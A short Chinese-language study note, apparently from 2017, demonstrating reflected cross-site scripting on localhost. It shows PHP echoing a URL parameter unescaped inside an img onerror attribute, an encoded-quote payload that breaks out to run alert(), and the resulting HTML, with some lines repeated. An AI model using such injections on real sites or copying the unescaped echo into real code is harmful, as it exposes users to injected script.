這是自動評論代碼所寫的document.getElementById('js-pl-textarea').value和$('#js-pl-submit').click();
2017-08-10
原始代碼:<img src='x' onerror='var a="123 <?=$_GET["key"];?>"; ' /> //onerror單引號中的變量a雙引號中的123和從瀏覽器URL獲得key。這條代碼總共三對引號
URL: localhost/www/QUIZ.php?key=%26quot;;alert(3);//
PS://不能去掉。 %26quot表示雙引號
服務器解析后:
<img src='x' onerror="var a="123";alert(3);//";">
//a變量內(nèi)容123 alert從中跳出,//注釋掉雙引號 總共兩對引號
URL: localhost/www/QUIZ.php?key=%26quot;;alert(3);//
PS://不能去掉。 %26quot表示雙引號
服務器解析后:
<img src='x' onerror="var a="123";alert(3);//";">
//a變量內(nèi)容123 alert從中跳出,//注釋掉雙引號 總共兩對引號
2017-07-12
http://localhost/test/demo6.php?key=%26quot;;alert(1);//
解析后:onerror="var a = "123";alert(1);//>";"
解析后:onerror="var a = "123";alert(1);//>";"
2017-06-23